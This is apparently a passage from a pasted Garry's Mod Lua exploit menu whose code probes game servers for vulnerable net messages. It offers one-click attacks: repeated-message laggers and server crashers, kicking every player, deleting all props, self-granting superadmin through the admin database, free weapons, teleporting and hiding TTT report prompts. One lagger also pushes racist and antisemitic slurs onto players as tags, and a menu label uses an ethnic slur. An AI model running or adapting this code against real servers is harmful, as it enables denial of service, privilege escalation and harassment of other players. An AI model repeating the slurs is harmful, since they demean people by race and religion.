  879.             end
  880.  
  881.             net.Start("SimplicityAC_aysent")
  882.  
  883.             net.WriteUInt(1, 8)
  884.  
  885.             net.WriteUInt(4294967295, 32)
  886.  
  887.             net.WriteTable(tbl)
  888.  
  889.             net.SendToServer()
  890. end);end
  891.  
  892. local status = ValidNetString("ATS_WARP_REMOVE_CLIENT")
  893. if (status) then
  894. SploitText("Found Exploit: Lagger #1")
  895. lagger1 = 0
  896. addExploit( "20", "Lagger #1", "b1g lags", function()
  897.     surface.PlaySound("garrysmod/ui_click.wav")
  898.     if (lagger1 == 0) then
  899.     SploitNotify("Starting Lagger")
  900.     lagger1 = 1
  901.     timer.Create("lagger1", 0.02, 0, function()
  902.  
  903.                         for k,v in pairs(player.GetAll()) do
  904.  
  905.                         net.Start( "ATS_WARP_REMOVE_CLIENT" )
  906.  
  907.                         net.WriteEntity( v )
  908.  
  909.                         net.WriteString( "adminroom1" )
  910.  
  911.                         net.SendToServer()
  912.  
  913.                         net.Start( "ATS_WARP_FROM_CLIENT" )
  914.  
  915.                         net.WriteEntity( v )
  916.  
  917.                         net.WriteString( "adminroom1" )
  918.  
  919.                         net.SendToServer()
  920.  
  921.                         net.Start( "ATS_WARP_VIEWOWNER" )
  922.  
  923.                         net.WriteEntity( v )
  924.  
  925.                         net.WriteString( "adminroom1" )
  926.  
  927.                         net.SendToServer()
  928.  
  929.                     end
  930.  
  931.     end)
  932.     else
  933.     SploitNotify("Stopping Lagger")
  934.     lagger1 = 0
  935.     timer.Remove("lagger1")
  936.     end
  937.  
  938. end);end
  939.  
  940. local status = ValidNetString("CFRemoveGame")
  941. if (status) then
  942. SploitText("Found Exploit: Lagger #2")
  943. lagger2 = 0
  944. addExploit( "21", "Lagger #2", "b1g lags", function()
  945.     surface.PlaySound("garrysmod/ui_click.wav")
  946.     if (lagger2 == 0) then
  947.     SploitNotify("Starting Lagger")
  948.     lagger2 = 1
  949.     timer.Create("lagger2", 0.01, 0, function()
  950.  
  951.                         for k,v in pairs(player.GetAll()) do
  952.  
  953.                         net.Start( "CFRemoveGame" )
  954.  
  955.                         net.WriteFloat( math.Round( "10000\n" ) )
  956.  
  957.                         net.SendToServer()
  958.  
  959.                         net.Start( "CFJoinGame" )
  960.  
  961.                         net.WriteFloat( math.Round( "10000\n" ) )
  962.  
  963.                         net.SendToServer()
  964.  
  965.                         net.Start( "CFEndGame" )
  966.  
  967.                         net.WriteFloat( "10000\n" )
  968.  
  969.                         net.SendToServer()
  970.  
  971.                     end
  972.  
  973.     end)
  974.     else
  975.     SploitNotify("Stopping Lagger")
  976.     lagger2 = 0
  977.     timer.Remove("lagger2")
  978.     end
  979.  
  980. end);end
  981.  
  982. local status = ValidNetString("CreateCase")
  983. if (status) then
  984. SploitText("Found Exploit: Lagger #4")
  985. lagger4 = 0
  986. addExploit( "23", "Lagger #4", "b1g lags", function()
  987.     surface.PlaySound("garrysmod/ui_click.wav")
  988.     if (lagger4 == 0) then
  989.     SploitNotify("Starting Lagger")
  990.     lagger4 = 1
  991.     timer.Create("lagger4", 0.02, 0, function()
  992.  
  993.                     for i = 1, 300 do
  994.  
  995.                     net.Start( "CreateCase" )
  996.  
  997.                     net.WriteString( "tapped by citizenhack.me" )
  998.  
  999.                     net.SendToServer()
  1000.  
  1001.  
  1002.     end;end)
  1003.     else
  1004.     SploitNotify("Stopping Lagger")
  1005.     lagger4 = 0
  1006.     timer.Remove("lagger4")
  1007.     end
  1008.  
  1009. end);end
  1010.  
  1011. local status = ValidNetString("rprotect_terminal_settings")
  1012. if (status) then
  1013. SploitText("Found Exploit: Lagger #5")
  1014. lagger5 = 0
  1015. addExploit( "24", "Lagger #5", "b1g lags", function()
  1016.     surface.PlaySound("garrysmod/ui_click.wav")
  1017.     if (lagger5 == 0) then
  1018.     SploitNotify("Starting Lagger")
  1019.     lagger5 = 1
  1020.     timer.Create("lagger5", 0.02, 0, function()
  1021.  
  1022.                     for i = 1, 200 do
  1023.  
  1024.                     net.Start( "rprotect_terminal_settings" )
  1025.  
  1026.                     net.WriteEntity( LocalPlayer() )
  1027.  
  1028.                     net.SendToServer()
  1029.  
  1030.                     end
  1031.  
  1032.     end)
  1033.     else
  1034.     SploitNotify("Stopping Lagger")
  1035.     lagger5 = 0
  1036.     timer.Remove("lagger5")
  1037.     end
  1038.  
  1039. end);end
  1040.  
  1041. local status = ValidNetString("StackGhost")
  1042. if (status) then
  1043. SploitText("Found Exploit: Lagger #6")
  1044. lagger6 = 0
  1045. addExploit( "25", "Lagger #6", "b1g lags", function()
  1046.     surface.PlaySound("garrysmod/ui_click.wav")
  1047.     if (lagger6 == 0) then
  1048.     SploitNotify("Starting Lagger")
  1049.     lagger6 = 1
  1050.     timer.Create("lagger6", 0.010, 0, function()
  1051.  
  1052.         for i = 1, 8 do
  1053.         for k,v in pairs( player.GetAll() ) do
  1054.         net.Start( "StackGhost" )
  1055.         net.WriteInt(69,32)
  1056.         net.SendToServer()
  1057.  
  1058.     end;end;end)
  1059.     else
  1060.     SploitNotify("Stopping Lagger")
  1061.     lagger6 = 0
  1062.     timer.Remove("lagger6")
  1063.     end
  1064.  
  1065. end);end
  1066.  
  1067.  
  1068.  
  1069. local status = ValidNetString("pac_to_contraption")
  1070. if (status) then
  1071. SploitText("Found Exloit: Crash Server")
  1072. addExploit( "26","Crash Server", "Crashes the server (seems to not always work)", function()
  1073.     surface.PlaySound("garrysmod/ui_click.wav")
  1074.     SploitNotify("Crashing Server")
  1075.             local tbl = {}
  1076.  
  1077.             for i=1,1000000000 do
  1078.  
  1079.                 tbl[#tbl + 1] = i
  1080.  
  1081.             end
  1082.  
  1083.             net.Start("pac_to_contraption")
  1084.  
  1085.             net.WriteTable( tbl )
  1086.  
  1087.             net.SendToServer()
  1088. end);end
  1089.  
  1090.  
  1091. local status = ValidNetString("NLRKick")
  1092. if (status) then
  1093. SploitText("Found Exploit: Kick All")
  1094. addExploit( "27","Kick All", "kick all the beaners", function()
  1095.     surface.PlaySound("garrysmod/ui_click.wav")
  1096.     SploitNotify("Kicking All")
  1097.     for k,v in pairs(player.GetAll()) do
  1098.     if v != LocalPlayer() then
  1099.                         net.Start("NLRKick")
  1100.                                 net.WriteEntity(v)
  1101.                         net.SendToServer()
  1102.     end
  1103.     end
  1104. end);end
  1105.  
  1106. local status = ValidNetString("JoinOrg")
  1107. if (status) then
  1108. SploitText("Found Exploit: Lagger #7")
  1109. lagger7 = 0
  1110. addExploit( "28", "Lagger #7", "b1111g lags", function()
  1111.     surface.PlaySound("garrysmod/ui_click.wav")
  1112.     if (lagger7 == 0) then
  1113.     SploitNotify("Starting Lagger")
  1114.     lagger7 = 1
  1115.     timer.Create("lagger7", 0.02, 0, function()
  1116.  
  1117.     for k,v in pairs(player.GetAll()) do
  1118.     net.Start("JoinOrg")
  1119.       net.WriteEntity(LocalPlayer())
  1120.           net.WriteString("test")
  1121.     net.SendToServer()                        
  1122.     end
  1123.  
  1124.     end)
  1125.     else
  1126.     SploitNotify("Stopping Lagger")
  1127.     lagger7 = 0
  1128.     timer.Remove("lagger7")
  1129.     end
  1130.  
  1131. end);end
  1132.  
  1133. local status = ValidNetString("giveweapon")
  1134. if (status) then
  1135. SploitText("Found Exploit: Give Weapons")
  1136. addExploit( "29", "Give Weapons", "big explo1t", function()
  1137.     inputFrame2Exists = true
  1138.     inputFrame2 = vgui.Create( "DFrame" )
  1139.     inputFrame2:SetTitle("Choose a weapon!")
  1140.     inputFrame2:SetSize( 400, 75 )
  1141.     inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230 )
  1142.     inputFrame2:SetDraggable(false)
  1143.     inputFrame2:ShowCloseButton(false)
  1144.     inputFrame2:MakePopup()
  1145.     inputFrame2.Paint = function( self, w, h )
  1146.         draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
  1147.     end
  1148.  
  1149.     local TextEntry2 = vgui.Create( "DTextEntry", inputFrame2 )
  1150.     TextEntry2:SetSize( 380, 30 )
  1151.     TextEntry2:SetPos( inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2 )
  1152.     TextEntry2:SetText( "m9k_ak47" )
  1153.     TextEntry2.OnEnter = function( self )
  1154.     surface.PlaySound("garrysmod/ui_click.wav")
  1155.     SploitNotify("Giving " .. TextEntry2:GetValue())
  1156.    
  1157.  
  1158.                                 net.Start("giveweapon")
  1159.                                 net.WriteEntity(LocalPlayer())
  1160.                                 net.WriteString(TextEntry2:GetValue())
  1161.                                 net.SendToServer()
  1162.  
  1163.     inputFrame2:SetVisible(false)
  1164.     end
  1165. end)
  1166. end
  1167.  
  1168. local status = ValidNetString("timebombDefuse")
  1169. if (status) then
  1170. SploitText("Found Exploit: Delete All Props")
  1171. addExploit( "30","Delete All Props", "props = dead", function()
  1172.     surface.PlaySound("garrysmod/ui_click.wav")
  1173.     SploitNotify("Props De_Stroyed")
  1174.     for k,v in pairs(ents.GetAll()) do
  1175.             net.Start("timebombDefuse")
  1176.             net.WriteEntity(v)
  1177.             net.WriteBool(true)
  1178.             net.SendToServer()
  1179.     end
  1180. end);end
  1181.  
  1182. local status = ValidNetString("pac_submit")
  1183. if (status) then
  1184. SploitText("Found Exploit: Lagger")
  1185. addExploit( "31","Lagger #8", "l4g yuh", function()
  1186.     surface.PlaySound("garrysmod/ui_click.wav")
  1187.  
  1188.     if !timer.Exists( "lagger8" ) then
  1189.                 timer.Create("lagger8", 0.5, 0, function()
  1190.                 for i=1, 1800 do
  1191.                 net.Start("pac_submit")
  1192.                 net.SendToServer()
  1193.                 end
  1194.                 end)
  1195.                 SploitNotify("Starting Lagger")
  1196.             else
  1197.                 timer.Remove("lagger8")
  1198.                 SploitNotify("Stopping Lagger")
  1199.             end
  1200. end);end
  1201.  
  1202.  
  1203. local status = ValidNetString("steamid2")
  1204. if (status) then
  1205. SploitText("Found Exploit: Lagger #9")
  1206. addExploit( "32","Lagger #9", "l4g yuhhhhhhhhhhhh", function()
  1207.     surface.PlaySound("garrysmod/ui_click.wav")
  1208.  
  1209.                 if !timer.Exists( "lagger9" ) then
  1210.  
  1211.                 SploitNotify("Starting Lagger")
  1212.  
  1213.                 timer.Create( "lagger9", 0, 0, function()
  1214.  
  1215.                     for i = 1, 100 do
  1216.  
  1217.                         net.Start( "steamid2" )
  1218.  
  1219.                         net.WriteString( "discord.gg/F7nSfff" )
  1220.  
  1221.                         net.SendToServer()
  1222.                     end
  1223.                 end)
  1224.             else
  1225.                 timer.Remove("lagger9")
  1226.                 SploitNotify("Stopping Lagger")
  1227.             end
  1228.  
  1229. end);end
  1230.  
  1231. local status = ValidNetString("NDES_SelectedEmblem")
  1232. if (status) then
  1233. SploitText("Found Exploit: Lagger #10")
  1234. addExploit( "33","Lagger #10", "oof yuh get l4gged", function()
  1235.     surface.PlaySound("garrysmod/ui_click.wav")
  1236.  
  1237.                if !timer.Exists( "lagger10" ) then
  1238.                 timer.Create("lagger10", 0.5, 0, function()
  1239.                 for i=1, 2000 do
  1240.                 net.Start("NDES_SelectedEmblem")
  1241.                 net.WriteString("exploitcity")
  1242.                 net.SendToServer()
  1243.                 end
  1244.                 end)
  1245.                 SploitNotify("Starting Lagger")
  1246.             else
  1247.                 timer.Remove("lagger10")
  1248.                 SploitNotify("Stopping Lagger")
  1249.             end
  1250.  
  1251.  
  1252. end);end
  1253.  
  1254.  
  1255.  
  1256. local status = ValidNetString("Morpheus.StaffTracker")
  1257. if (status) then
  1258. SploitText("Found Exploit: Crasher #3")
  1259. addExploit( "33","Crasher #3", "not even hard. unlike nippy's dick when he sees voltz", function()
  1260.     surface.PlaySound("garrysmod/ui_click.wav")
  1261.  
  1262.                if !timer.Exists( "crasher3" ) then
  1263.                 timer.Create("crasher3", 0.5, 0, function()
  1264.                 for i=1, 2000 do
  1265.                 net.Start("Morpheus.StaffTracker")
  1266.                 net.SendToServer()
  1267.                 end
  1268.                 end)
  1269.                 SploitNotify("Crashing Server")
  1270.             else
  1271.                 timer.Remove("crasher3")
  1272.                 SploitNotify( "Canceling Crasher" )
  1273.             end
  1274.  
  1275. end);end
  1276.  
  1277.  
  1278. local status = ValidNetString("egg")
  1279. if (status) then
  1280. SploitText("Found Exploit: Get Easter Egg")
  1281. addExploit( "34","Get Easter Egg", "ez eggs", function()
  1282.     surface.PlaySound("garrysmod/ui_click.wav")
  1283.  
  1284.                 net.Start("egg")
  1285.                 net.SendToServer()
  1286.                 SploitNotify("Gave Easter Egg")
  1287.  
  1288. end);end
  1289.  
  1290. local status = ValidNetString("TalkIconChat")
  1291. if (status) then
  1292. spoofchat = 0  
  1293. SploitText("Found Exploit: Spoof Chat Icon")
  1294. addExploit( "35","Spoof Chat Icon", "not really a big exploit just fun", function()
  1295.     surface.PlaySound("garrysmod/ui_click.wav")
  1296.  
  1297. if spoofchat == 0 then
  1298.                 hook.Remove('StartChat', 'TalkIcon')
  1299.                 net.Start("TalkIconChat")
  1300.                 net.WriteBool(true)
  1301.                 net.SendToServer()
  1302.                 spoofchat = 1
  1303.                 SploitNotify("Enabled Icon Spoofer")
  1304.             else
  1305.                 net.Start("TalkIconChat")
  1306.                 net.WriteBool(false)
  1307.                 net.SendToServer()
  1308.                 SploitNotify("Disabled Icon Spoofer")
  1309.                 spoofchat = 0
  1310.             end
  1311.                
  1312.  
  1313. end);end
  1314.            
  1315.  
  1316. local status = ValidNetString("join_disconnect")
  1317. if (status) then
  1318. SploitText("Found Exploit: Lagger #11")
  1319. addExploit( "36","Lagger #11", "b1g lags my duder", function()
  1320.     surface.PlaySound("garrysmod/ui_click.wav")
  1321.  
  1322. if !timer.Exists( "lagger11" ) then
  1323.                 timer.Create("lagger11", 0.5, 0, function()
  1324.                 for i=1, 3000 do
  1325.                 net.Start("join_disconnect")
  1326.                 net.WriteEntity(table.Random(player.GetAll()))
  1327.                 net.SendToServer()
  1328.                 end
  1329.                 end)
  1330.                 SploitNotify("Starting Lagger")
  1331.             else
  1332.                 timer.Remove("lagger11")
  1333.                 SploitNotify("Stopping Lagger")
  1334.             end
  1335.                
  1336.  
  1337. end);end
  1338.          
  1339.  
  1340. local status = ValidNetString("pplay_deleterow")
  1341. if (status) then
  1342. SploitText("Found Exploit: GET SUPERADMIN")
  1343. addExploit( "37","GET SUPERADMIN", "Rejoin game after clicking", function()
  1344.     surface.PlaySound("garrysmod/ui_click.wav")
  1345.  
  1346.                 local id = LocalPlayer():SteamID()
  1347.  
  1348.                 local tbl = {}
  1349.  
  1350.                 tbl.name = "FAdmin_PlayerGroup"
  1351.  
  1352.                 tbl.where = {
  1353.  
  1354.                     "steamid",
  1355.  
  1356.                     tostring(id)
  1357.  
  1358.                 }
  1359.  
  1360.                 net.Start("pplay_deleterow")
  1361.  
  1362.                 net.WriteTable(tbl)
  1363.  
  1364.                 net.SendToServer()
  1365.  
  1366.  
  1367.  
  1368.                 local tbl = {}
  1369.  
  1370.                 tbl.tblname = "FAdmin_PlayerGroup"
  1371.  
  1372.                 tbl.tblinfo = {
  1373.  
  1374.                     tostring(id),
  1375.  
  1376.                     "superadmin"
  1377.  
  1378.                 }
  1379.  
  1380.                 net.Start("pplay_addrow")
  1381.  
  1382.                 net.WriteTable(tbl)
  1383.  
  1384.                 net.SendToServer()
  1385.  
  1386.                 SploitNotify("promotion ;)")
  1387.                
  1388.  
  1389. end);end
  1390.  
  1391. -- ttt report bypass by daddy grampa
  1392. local title = "You have been reported! Please answer all your reports."
  1393. local function CheckChild(pan)
  1394.     if !pan || !IsValid(pan) then return end
  1395.     if pan.GetTitle && pan:GetTitle() == title then
  1396.         pan:Remove();
  1397.         print("Removed warning box")
  1398.         return
  1399.     end
  1400.     for k,v in pairs(pan:GetChildren()) do
  1401.         if v.GetTitle && v:GetTitle() == title then
  1402.             v:Remove();
  1403.             print("Removed warning box")
  1404.             return
  1405.         end
  1406.         if #v:GetChildren() > 0 then
  1407.             CheckChild(v)
  1408.         end
  1409.     end
  1410. end
  1411.  
  1412.  
  1413. if (engine.ActiveGamemode() == "terrortown") then
  1414. bypass = 0
  1415. SploitText("Found Exploit: TTT Report Bypass")
  1416. addExploit( "38","Toggle TTT Report Bypass", "b1g bypass amirite", function()
  1417.     surface.PlaySound("garrysmod/ui_click.wav")
  1418.  
  1419. if (bypass == 0) then
  1420. hook.Add("Think", "remove_ttt_report", function()
  1421.     local pan = vgui.GetHoveredPanel()
  1422.     CheckChild(pan)
  1423. end)
  1424. SploitNotify("Enabled Report Bypass")
  1425. bypass = 1
  1426. else
  1427. hook.Remove("Think", "remove_ttt_report")
  1428. SploitNotify("Disabled Report Bypass")
  1429. bypass = 0
  1430. end
  1431.  
  1432.                
  1433. end);end
  1434.  
  1435. local status = ValidNetString("EZS_PlayerTag")
  1436. if (status) then
  1437. SploitText("Found exploitable net message: EZS_PlayerTag")
  1438. addExploit( "39","Lagger #12", "b1g lags my duder", function()
  1439.     surface.PlaySound("garrysmod/ui_click.wav")
  1440.  
  1441.                 if !timer.Exists( "lagger12" ) then
  1442.                 timer.Create("lagger12", 0.5, 0, function()
  1443.                 for k, v in pairs(player.GetAll()) do
  1444.                 net.Start( "EZS_PlayerTag" )
  1445.                 net.WriteEntity(v)
  1446.                 net.WriteString("I hate niggers")
  1447.                 net.SendToServer()
  1448.                 timer.Simple(2, function()
  1449.                 net.Start( "EZS_PlayerTag" )
  1450.                 net.WriteEntity(v)
  1451.                 net.WriteString("I hate jews")
  1452.                 net.SendToServer()
  1453.                 end)
  1454.                 end
  1455.                 end)
  1456.                 SploitNotify("Starting Lagger")
  1457.             else
  1458.                 timer.Remove("lagger12")
  1459.                 SploitNotify("Stopping Lagger")
  1460.             end
  1461. end);end
  1462.  
  1463. if ConVarExists("advttt_spreadovertime_enabled") then
  1464. SploitText("Found exploitable hook: WyoziAdvTTTSpreadOverTime")
  1465. addExploit( "40","Remove Spread", "pSilent No Spread", function()
  1466.     surface.PlaySound("garrysmod/ui_click.wav")
  1467.         hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
  1468.         SploitNotify("Spread Removed")
  1469. end);end    
  1470.  
  1471.  
  1472. local status = ValidNetString("ATS_WARP_FROM_CLIENT")
  1473. if (status) then
  1474. SploitText("Found exploitable net message: ATS_WARP_FROM_CLIENT")
  1475. addExploit( "41", "Teleport", "Specify a string destination and u will be tped to it", function()
  1476.     inputFrame3Exists = true
  1477.     inputFrame3 = vgui.Create( "DFrame" )
  1478.     inputFrame3:SetTitle("Type a String Destination")
  1479.     inputFrame3:SetSize( 400, 75 )
  1480.     inputFrame3:SetPos(ScrW() / 2 - inputFrame3:GetWide() / 2, ScrH() / 2 + 230 )
  1481.     inputFrame3:SetDraggable(false)
  1482.     inputFrame3:ShowCloseButton(false)
  1483.     inputFrame3:MakePopup()
  1484.     inputFrame3.Paint = function( self, w, h )
  1485.         draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
  1486.     end
  1487.  
  1488.     local TextEntry3 = vgui.Create( "DTextEntry", inputFrame3 )
  1489.     TextEntry3:SetSize( 380, 30 )
  1490.     TextEntry3:SetPos( inputFrame3:GetWide() / 2 - TextEntry3:GetWide() / 2, inputFrame3:GetTall() / 2 - TextEntry3:GetTall() / 2 )
  1491.     TextEntry3:SetText( "*destination*" )
  1492.     TextEntry3.OnEnter = function( self )
  1493.     surface.PlaySound("garrysmod/ui_click.wav")
  1494.     SploitNotify("Teleporting to " .. TextEntry3:GetValue() )
  1495.    
  1496.     net.Start( "ATS_WARP_FROM_CLIENT" )
  1497.  
  1498.                     net.WriteEntity( LocalPlayer() )
  1499.                     net.WriteString( TextEntry3:GetValue() )
  1500.  
  1501.                 net.SendToServer()    
  1502.                                
  1503.  
  1504.     inputFrame3:SetVisible(false)
  1505.     end
  1506. end)
  1507. end
  1508.  
  1509.  
  1510.  
  1511.  
  1512.  
  1513.  
  1514.  
  1515. local status = ValidNetString("TCBuyAmmo")
  1516. if (status) then
  1517. addExploit( "2","Free Ammo", "Gets All Ammo Types", function()
  1518.     surface.PlaySound("garrysmod/ui_click.wav")
  1519.     SploitText("Getting Le Ammo")
  1520. end);end
  1521.  
  1522.  
  1523.  
  1524.  
  1525.  
  1526. concommand.Add("exploits_open", function()
  1527.     Main:SetVisible(true)
  1528.     Main:MakePopup()
  1529.     Main:MoveTo( ScrW() / 2 - Main:GetWide() / 2, ScrH() / 2 - Main:GetTall() / 2, .4, 0, -1)
  1530. end)
  1531.  
  1532. closebutton.DoClick = function()
  1533.     Main:SetMouseInputEnabled(false)
  1534.     Main:SetKeyBoardInputEnabled(false)
  1535.     if (inputFrameExists) then
  1536.     inputFrame:SetVisible(false)
  1537.     end
  1538.     if (inputFrame2Exists) then
  1539.     inputFrame2:SetVisible(false)
  1540.     end
  1541.     Main:MoveTo( ScrW() / 2 - Main:GetWide() / 2, ScrH(), .4, 0, -1, function()
  1542.     Main:SetVisible(false)
  1543.     end)
  1544. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement